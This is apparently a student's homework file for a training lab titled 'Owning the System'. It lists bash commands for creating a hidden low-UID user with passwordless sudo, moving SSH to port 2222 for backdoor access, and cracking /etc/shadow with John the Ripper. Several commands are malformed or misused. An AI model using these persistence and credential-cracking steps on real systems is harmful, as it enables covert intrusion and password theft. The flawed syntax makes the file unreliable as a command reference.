## Week 6 Homework Submission File: Advanced Bash - Owning the System  
Please edit this file by adding the solution commands on the line below the prompt.   
Save and submit the completed file for your homework submission.

**\*\*Step 1: Shadow People\*\***

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- `sudo adduser -M sysd

2. Give your secret user a password:

- `sudo passwd sysd`

3. Give your secret user a system UID < 1000:

- `sudo usermod -u 400 sysd`

4. Give your secret user the same GID:

- `sudo usermod -g 400 sysd`

5. Give your secret user full `sudo` access without the need for a password:

- `sudo visudo sysd ALL=(ALL) NOPASSWD:ALL

6. Test that `sudo` access works without your password:

sudo usermod

sudo -l

**\*\*Step 2: Smooth Sailing\*\***

1. Edit the `sshd\_config` file:

sudo nano /etc/ssh/sshd\_config

[append :: Port 2222]

**\*\*Step 3: Testing Your Configuration Update\*\***

1. Restart the SSH service:

- `sudo systemctl restart ssh’

2. Exit the `root` account:

- `exit`

3. SSH to the target machine using your `sysd` account and port `2222`:

- `ssh sysd@192.168.6.105 -p 2222`

4. Use `sudo` to switch to the root user:  
 - `ssh sysd@192.168.6.105 -p 2222

- `sudo su root -`

**\*\*Step 4: Crack All the Passwords\*\***

1. SSH back to the system using your `sysd` account and port `2222`:

- ` ssh sysd@192.168.6.105 -p 2222`

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- `sudo john /etc/shadow`